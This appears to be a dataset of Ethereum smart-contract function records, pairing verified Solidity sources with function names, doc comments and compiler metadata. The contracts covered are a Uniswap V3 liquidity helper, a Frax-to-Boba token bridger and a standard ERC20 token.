burnable1 + earnable1); } /// @dev Wrapper around `IUniswapV3Pool.positions()`. function _position(int24 tickLower, int24 tickUpper) internal view returns ( uint128, // liquidity uint256, // feeGrowthInside0LastX128 uint256, // feeGrowthInside1LastX128 uint128, // tokensOwed0 uint128 // tokensOwed1 ) { return UNI_POOL.positions(keccak256(abi.encodePacked(address(this), tickLower, tickUpper))); } /// @dev Wrapper around `LiquidityAmounts.getAmountsForLiquidity()`. function _amountsForLiquidity( int24 tickLower, int24 tickUpper, uint128 liquidity ) internal view returns (uint256, uint256) { (uint160 sqrtPriceX96, , , , , , ) = UNI_POOL.slot0(); return LiquidityAmounts.getAmountsForLiquidity( sqrtPriceX96, TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), liquidity ); } /// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmounts()`. function _liquidityForAmounts( int24 tickLower, int24 tickUpper, uint160 sqrtPriceX96, uint256 amount0, uint256 amount1 ) internal pure returns (uint128) { return LiquidityAmounts.getLiquidityForAmounts( sqrtPriceX96, TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), amount0, amount1 ); } /// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmount0()`. function _liquidityForAmount0( int24 tickLower, int24 tickUpper, uint256 amount0 ) internal pure returns (uint128) { return LiquidityAmounts.getLiquidityForAmount0( TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), amount0 ); } /// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmount1()`. function _liquidityForAmount1( int24 tickLower, int24 tickUpper, uint256 amount1 ) internal pure returns (uint128) { return LiquidityAmounts.getLiquidityForAmount1( TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), amount1 ); } /// @dev Callback for Uniswap V3 pool. function uniswapV3MintCallback( uint256 amount0, uint256 amount1, bytes calldata data ) external override { require(msg.sender == address(UNI_POOL), "Fake callback"); if (amount0 != 0) TOKEN0.safeTransfer(msg.sender, amount0); if (amount1 != 0) TOKEN1.safeTransfer(msg.sender, amount1); } }
_liquidityForAmount0
function _liquidityForAmount0( int24 tickLower, int24 tickUpper, uint256 amount0 ) internal pure returns (uint128) { return LiquidityAmounts.getLiquidityForAmount0( TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), amount0 ); }
/// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmount0()`.
NatSpecSingleLine
v0.8.4+commit.c7e474f2
{ "func_code_index": [ 4077, 4450 ] }
1,500
AloePoolCapped
contracts/UniswapMinter.sol
0x325441fdb3bd45a8093994303cf9b67f3689ac11
Solidity
UniswapMinter
contract UniswapMinter is IUniswapV3MintCallback { using SafeERC20 for IERC20; IUniswapV3Pool public immutable UNI_POOL; int24 public immutable TICK_SPACING; IERC20 public immutable TOKEN0; IERC20 public immutable TOKEN1; constructor(IUniswapV3Pool uniPool) { UNI_POOL = uniPool; TICK_SPACING = uniPool.tickSpacing(); TOKEN0 = IERC20(uniPool.token0()); TOKEN1 = IERC20(uniPool.token1()); } /// @dev Do zero-burns to poke the Uniswap pools so earned fees are updated function _uniswapPoke(int24 tickLower, int24 tickUpper) internal { (uint128 liquidity, , , , ) = _position(tickLower, tickUpper); if (liquidity == 0) return; UNI_POOL.burn(tickLower, tickUpper, 0); } /// @dev Deposits liquidity in a range on the Uniswap pool. function _uniswapEnter( int24 tickLower, int24 tickUpper, uint128 liquidity ) internal { if (liquidity == 0) return; UNI_POOL.mint(address(this), tickLower, tickUpper, liquidity, ""); } /// @dev Withdraws liquidity from a range and collects all fees in the process. function _uniswapExit( int24 tickLower, int24 tickUpper, uint128 liquidity ) internal returns ( uint256 burned0, uint256 burned1, uint256 earned0, uint256 earned1 ) { if (liquidity != 0) { (burned0, burned1) = UNI_POOL.burn(tickLower, tickUpper, liquidity); } // Collect all owed tokens including earned fees (uint256 collected0, uint256 collected1) = UNI_POOL.collect(address(this), tickLower, tickUpper, type(uint128).max, type(uint128).max); earned0 = collected0 - burned0; earned1 = collected1 - burned1; } /** * @notice Amounts of TOKEN0 and TOKEN1 held in vault's position. Includes * owed fees, except those accrued since last poke. */ function _collectableAmountsAsOfLastPoke(int24 tickLower, int24 tickUpper) public view returns (uint256, uint256) { (uint128 liquidity, , , uint128 earnable0, uint128 earnable1) = _position(tickLower, tickUpper); (uint256 burnable0, uint256 burnable1) = _amountsForLiquidity(tickLower, tickUpper, liquidity); return (burnable0 + earnable0, burnable1 + earnable1); } /// @dev Wrapper around `IUniswapV3Pool.positions()`. function _position(int24 tickLower, int24 tickUpper) internal view returns ( uint128, // liquidity uint256, // feeGrowthInside0LastX128 uint256, // feeGrowthInside1LastX128 uint128, // tokensOwed0 uint128 // tokensOwed1 ) { return UNI_POOL.positions(keccak256(abi.encodePacked(address(this), tickLower, tickUpper))); } /// @dev Wrapper around `LiquidityAmounts.getAmountsForLiquidity()`. function _amountsForLiquidity( int24 tickLower, int24 tickUpper, uint128 liquidity ) internal view returns (uint256, uint256) { (uint160 sqrtPriceX96, , , , , , ) = UNI_POOL.slot0(); return LiquidityAmounts.getAmountsForLiquidity( sqrtPriceX96, TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), liquidity ); } /// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmounts()`. function _liquidityForAmounts( int24 tickLower, int24 tickUpper, uint160 sqrtPriceX96, uint256 amount0, uint256 amount1 ) internal pure returns (uint128) { return LiquidityAmounts.getLiquidityForAmounts( sqrtPriceX96, TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), amount0, amount1 ); } /// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmount0()`. function _liquidityForAmount0( int24 tickLower, int24 tickUpper, uint256 amount0 ) internal pure returns (uint128) { return LiquidityAmounts.getLiquidityForAmount0( TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), amount0 ); } /// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmount1()`. function _liquidityForAmount1( int24 tickLower, int24 tickUpper, uint256 amount1 ) internal pure returns (uint128) { return LiquidityAmounts.getLiquidityForAmount1( TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), amount1 ); } /// @dev Callback for Uniswap V3 pool. function uniswapV3MintCallback( uint256 amount0, uint256 amount1, bytes calldata data ) external override { require(msg.sender == address(UNI_POOL), "Fake callback"); if (amount0 != 0) TOKEN0.safeTransfer(msg.sender, amount0); if (amount1 != 0) TOKEN1.safeTransfer(msg.sender, amount1); } }
_liquidityForAmount1
function _liquidityForAmount1( int24 tickLower, int24 tickUpper, uint256 amount1 ) internal pure returns (uint128) { return LiquidityAmounts.getLiquidityForAmount1( TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), amount1 ); }
/// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmount1()`.
NatSpecSingleLine
v0.8.4+commit.c7e474f2
{ "func_code_index": [ 4525, 4898 ] }
1,501
AloePoolCapped
contracts/UniswapMinter.sol
0x325441fdb3bd45a8093994303cf9b67f3689ac11
Solidity
UniswapMinter
contract UniswapMinter is IUniswapV3MintCallback { using SafeERC20 for IERC20; IUniswapV3Pool public immutable UNI_POOL; int24 public immutable TICK_SPACING; IERC20 public immutable TOKEN0; IERC20 public immutable TOKEN1; constructor(IUniswapV3Pool uniPool) { UNI_POOL = uniPool; TICK_SPACING = uniPool.tickSpacing(); TOKEN0 = IERC20(uniPool.token0()); TOKEN1 = IERC20(uniPool.token1()); } /// @dev Do zero-burns to poke the Uniswap pools so earned fees are updated function _uniswapPoke(int24 tickLower, int24 tickUpper) internal { (uint128 liquidity, , , , ) = _position(tickLower, tickUpper); if (liquidity == 0) return; UNI_POOL.burn(tickLower, tickUpper, 0); } /// @dev Deposits liquidity in a range on the Uniswap pool. function _uniswapEnter( int24 tickLower, int24 tickUpper, uint128 liquidity ) internal { if (liquidity == 0) return; UNI_POOL.mint(address(this), tickLower, tickUpper, liquidity, ""); } /// @dev Withdraws liquidity from a range and collects all fees in the process. function _uniswapExit( int24 tickLower, int24 tickUpper, uint128 liquidity ) internal returns ( uint256 burned0, uint256 burned1, uint256 earned0, uint256 earned1 ) { if (liquidity != 0) { (burned0, burned1) = UNI_POOL.burn(tickLower, tickUpper, liquidity); } // Collect all owed tokens including earned fees (uint256 collected0, uint256 collected1) = UNI_POOL.collect(address(this), tickLower, tickUpper, type(uint128).max, type(uint128).max); earned0 = collected0 - burned0; earned1 = collected1 - burned1; } /** * @notice Amounts of TOKEN0 and TOKEN1 held in vault's position. Includes * owed fees, except those accrued since last poke. */ function _collectableAmountsAsOfLastPoke(int24 tickLower, int24 tickUpper) public view returns (uint256, uint256) { (uint128 liquidity, , , uint128 earnable0, uint128 earnable1) = _position(tickLower, tickUpper); (uint256 burnable0, uint256 burnable1) = _amountsForLiquidity(tickLower, tickUpper, liquidity); return (burnable0 + earnable0, burnable1 + earnable1); } /// @dev Wrapper around `IUniswapV3Pool.positions()`. function _position(int24 tickLower, int24 tickUpper) internal view returns ( uint128, // liquidity uint256, // feeGrowthInside0LastX128 uint256, // feeGrowthInside1LastX128 uint128, // tokensOwed0 uint128 // tokensOwed1 ) { return UNI_POOL.positions(keccak256(abi.encodePacked(address(this), tickLower, tickUpper))); } /// @dev Wrapper around `LiquidityAmounts.getAmountsForLiquidity()`. function _amountsForLiquidity( int24 tickLower, int24 tickUpper, uint128 liquidity ) internal view returns (uint256, uint256) { (uint160 sqrtPriceX96, , , , , , ) = UNI_POOL.slot0(); return LiquidityAmounts.getAmountsForLiquidity( sqrtPriceX96, TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), liquidity ); } /// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmounts()`. function _liquidityForAmounts( int24 tickLower, int24 tickUpper, uint160 sqrtPriceX96, uint256 amount0, uint256 amount1 ) internal pure returns (uint128) { return LiquidityAmounts.getLiquidityForAmounts( sqrtPriceX96, TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), amount0, amount1 ); } /// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmount0()`. function _liquidityForAmount0( int24 tickLower, int24 tickUpper, uint256 amount0 ) internal pure returns (uint128) { return LiquidityAmounts.getLiquidityForAmount0( TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), amount0 ); } /// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmount1()`. function _liquidityForAmount1( int24 tickLower, int24 tickUpper, uint256 amount1 ) internal pure returns (uint128) { return LiquidityAmounts.getLiquidityForAmount1( TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), amount1 ); } /// @dev Callback for Uniswap V3 pool. function uniswapV3MintCallback( uint256 amount0, uint256 amount1, bytes calldata data ) external override { require(msg.sender == address(UNI_POOL), "Fake callback"); if (amount0 != 0) TOKEN0.safeTransfer(msg.sender, amount0); if (amount1 != 0) TOKEN1.safeTransfer(msg.sender, amount1); } }
uniswapV3MintCallback
function uniswapV3MintCallback( uint256 amount0, uint256 amount1, bytes calldata data ) external override { require(msg.sender == address(UNI_POOL), "Fake callback"); if (amount0 != 0) TOKEN0.safeTransfer(msg.sender, amount0); if (amount1 != 0) TOKEN1.safeTransfer(msg.sender, amount1); }
/// @dev Callback for Uniswap V3 pool.
NatSpecSingleLine
v0.8.4+commit.c7e474f2
{ "func_code_index": [ 4943, 5291 ] }
1,502
FraxLiquidityBridger_BOBA_BobaGateway
contracts/Bridges/Boba/FraxLiquidityBridger_BOBA_BobaGateway.sol
0x4828d4496ff8da2f5c1e7217dc282b5c69b83263
Solidity
FraxLiquidityBridger_BOBA_BobaGateway
contract FraxLiquidityBridger_BOBA_BobaGateway is FraxLiquidityBridger { constructor ( address _owner, address _timelock_address, address _amo_minter_address, address[3] memory _bridge_addresses, address _destination_address_override, string memory _non_evm_destination_address, string memory _name ) FraxLiquidityBridger(_owner, _timelock_address, _amo_minter_address, _bridge_addresses, _destination_address_override, _non_evm_destination_address, _name) {} uint32 public maxGas = 2000000; function setMaxGas(uint32 _maxGas) external onlyByOwnGov { maxGas = _maxGas; } // Override with logic specific to this chain function _bridgingLogic(uint256 token_type, address address_to_send_to, uint256 token_amount) internal override { // [Boba] // https://github.com/omgnetwork/optimism-v2/blob/develop/packages/boba/gateway/src/services/networkService.js if (token_type == 0){ // L1 FRAX -> bobaFRAX // Boba Gateway // Approve ERC20(address(FRAX)).approve(bridge_addresses[token_type], token_amount); // Deposit //https://github.com/omgnetwork/optimism-v2/blob/82c575a34a90fa89e29200be744c486c57c02536/packages/contracts/contracts/L1/messaging/L1StandardBridge.sol IL1StandardBridge(bridge_addresses[token_type]).depositERC20To( address(FRAX), 0xAb2AF3A98D229b7dAeD7305Bb88aD0BA2c42f9cA, address_to_send_to, token_amount, maxGas, "" ); } else if (token_type == 1) { // L1 FXS -> bobaFXS // Boba Gateway // Approve ERC20(address(FXS)).approve(bridge_addresses[token_type], token_amount); // Deposit IL1StandardBridge(bridge_addresses[token_type]).depositERC20To( address(FXS), 0xdc1664458d2f0B6090bEa60A8793A4E66c2F1c00, address_to_send_to, token_amount, maxGas, "" ); } else { // L1 USDC -> bobaUSDC // Boba Gateway // Approve ERC20(collateral_address).approve(bridge_addresses[token_type], token_amount); // Deposit IL1StandardBridge(bridge_addresses[token_type]).depositERC20To( collateral_address, 0x66a2A913e447d6b4BF33EFbec43aAeF87890FBbc, address_to_send_to, token_amount, maxGas, "" ); } } }
_bridgingLogic
function _bridgingLogic(uint256 token_type, address address_to_send_to, uint256 token_amount) internal override { // [Boba] // https://github.com/omgnetwork/optimism-v2/blob/develop/packages/boba/gateway/src/services/networkService.js if (token_type == 0){ // L1 FRAX -> bobaFRAX // Boba Gateway // Approve ERC20(address(FRAX)).approve(bridge_addresses[token_type], token_amount); // Deposit //https://github.com/omgnetwork/optimism-v2/blob/82c575a34a90fa89e29200be744c486c57c02536/packages/contracts/contracts/L1/messaging/L1StandardBridge.sol IL1StandardBridge(bridge_addresses[token_type]).depositERC20To( address(FRAX), 0xAb2AF3A98D229b7dAeD7305Bb88aD0BA2c42f9cA, address_to_send_to, token_amount, maxGas, "" ); } else if (token_type == 1) { // L1 FXS -> bobaFXS // Boba Gateway // Approve ERC20(address(FXS)).approve(bridge_addresses[token_type], token_amount); // Deposit IL1StandardBridge(bridge_addresses[token_type]).depositERC20To( address(FXS), 0xdc1664458d2f0B6090bEa60A8793A4E66c2F1c00, address_to_send_to, token_amount, maxGas, "" ); } else { // L1 USDC -> bobaUSDC // Boba Gateway // Approve ERC20(collateral_address).approve(bridge_addresses[token_type], token_amount); // Deposit IL1StandardBridge(bridge_addresses[token_type]).depositERC20To( collateral_address, 0x66a2A913e447d6b4BF33EFbec43aAeF87890FBbc, address_to_send_to, token_amount, maxGas, "" ); } }
// Override with logic specific to this chain
LineComment
v0.8.10+commit.fc410830
GNU GPLv2
ipfs://81488b071d265979c77089371aa6dcd1053d02fe02e3285db8974c63314afee9
{ "func_code_index": [ 737, 2814 ] }
1,503
AssetTM3
AssetTM3.sol
0xfc998387c61528c575239744a85be91008556378
Solidity
ERC20Token
contract ERC20Token is ERC20TokenInterface { //Standar definition of an ERC20Token using SafeMath for uint256; //SafeMath is used for uint256 operations mapping (address => uint256) balances; //A mapping of all balances per address mapping (address => mapping (address => uint256)) allowed; //A mapping of all allowances uint256 public totalSupply; /** * @notice Get the balance of an _owner address. * @param _owner The address to be query. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } /** * @notice transfer _value tokens to address _to * @param _to The address to transfer to. * @param _value The amount to be transferred. * @return success with boolean value true if done */ function transfer(address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); //If you dont want that people destroy token require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @notice Transfer _value tokens from address _from to address _to using allowance msg.sender allowance on _from * @param _from The address where tokens comes. * @param _to The address to transfer to. * @param _value The amount to be transferred. * @return success with boolean value true if done */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); //If you dont want that people destroy token require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @notice Assign allowance _value to _spender address to use the msg.sender balance * @param _spender The address to be allowed to spend. * @param _value The amount to be allowed. * @return success with boolean value true */ function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @notice Get the allowance of an specified address to use another address balance. * @param _owner The address of the owner of the tokens. * @param _spender The address of the allowed spender. * @return remaining with the allowance value */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * @dev Log Events */ event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); }
/** * @title ERC20Token * @notice Token definition contract */
NatSpecMultiLine
balanceOf
function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; }
/** * @notice Get the balance of an _owner address. * @param _owner The address to be query. */
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://6f45d06ad0f730d73cb201058bb5db2bbe87e6437dee6d773eb103dcbddb7cae
{ "func_code_index": [ 492, 614 ] }
1,504
AssetTM3
AssetTM3.sol
0xfc998387c61528c575239744a85be91008556378
Solidity
ERC20Token
contract ERC20Token is ERC20TokenInterface { //Standar definition of an ERC20Token using SafeMath for uint256; //SafeMath is used for uint256 operations mapping (address => uint256) balances; //A mapping of all balances per address mapping (address => mapping (address => uint256)) allowed; //A mapping of all allowances uint256 public totalSupply; /** * @notice Get the balance of an _owner address. * @param _owner The address to be query. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } /** * @notice transfer _value tokens to address _to * @param _to The address to transfer to. * @param _value The amount to be transferred. * @return success with boolean value true if done */ function transfer(address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); //If you dont want that people destroy token require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @notice Transfer _value tokens from address _from to address _to using allowance msg.sender allowance on _from * @param _from The address where tokens comes. * @param _to The address to transfer to. * @param _value The amount to be transferred. * @return success with boolean value true if done */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); //If you dont want that people destroy token require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @notice Assign allowance _value to _spender address to use the msg.sender balance * @param _spender The address to be allowed to spend. * @param _value The amount to be allowed. * @return success with boolean value true */ function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @notice Get the allowance of an specified address to use another address balance. * @param _owner The address of the owner of the tokens. * @param _spender The address of the allowed spender. * @return remaining with the allowance value */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * @dev Log Events */ event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); }
/** * @title ERC20Token * @notice Token definition contract */
NatSpecMultiLine
transfer
function transfer(address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); //If you dont want that people destroy token require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; }
/** * @notice transfer _value tokens to address _to * @param _to The address to transfer to. * @param _value The amount to be transferred. * @return success with boolean value true if done */
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://6f45d06ad0f730d73cb201058bb5db2bbe87e6437dee6d773eb103dcbddb7cae
{ "func_code_index": [ 839, 1245 ] }
1,505
AssetTM3
AssetTM3.sol
0xfc998387c61528c575239744a85be91008556378
Solidity
ERC20Token
contract ERC20Token is ERC20TokenInterface { //Standar definition of an ERC20Token using SafeMath for uint256; //SafeMath is used for uint256 operations mapping (address => uint256) balances; //A mapping of all balances per address mapping (address => mapping (address => uint256)) allowed; //A mapping of all allowances uint256 public totalSupply; /** * @notice Get the balance of an _owner address. * @param _owner The address to be query. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } /** * @notice transfer _value tokens to address _to * @param _to The address to transfer to. * @param _value The amount to be transferred. * @return success with boolean value true if done */ function transfer(address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); //If you dont want that people destroy token require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @notice Transfer _value tokens from address _from to address _to using allowance msg.sender allowance on _from * @param _from The address where tokens comes. * @param _to The address to transfer to. * @param _value The amount to be transferred. * @return success with boolean value true if done */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); //If you dont want that people destroy token require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @notice Assign allowance _value to _spender address to use the msg.sender balance * @param _spender The address to be allowed to spend. * @param _value The amount to be allowed. * @return success with boolean value true */ function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @notice Get the allowance of an specified address to use another address balance. * @param _owner The address of the owner of the tokens. * @param _spender The address of the allowed spender. * @return remaining with the allowance value */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * @dev Log Events */ event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); }
/** * @title ERC20Token * @notice Token definition contract */
NatSpecMultiLine
transferFrom
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); //If you dont want that people destroy token require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; }
/** * @notice Transfer _value tokens from address _from to address _to using allowance msg.sender allowance on _from * @param _from The address where tokens comes. * @param _to The address to transfer to. * @param _value The amount to be transferred. * @return success with boolean value true if done */
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://6f45d06ad0f730d73cb201058bb5db2bbe87e6437dee6d773eb103dcbddb7cae
{ "func_code_index": [ 1587, 2110 ] }
1,506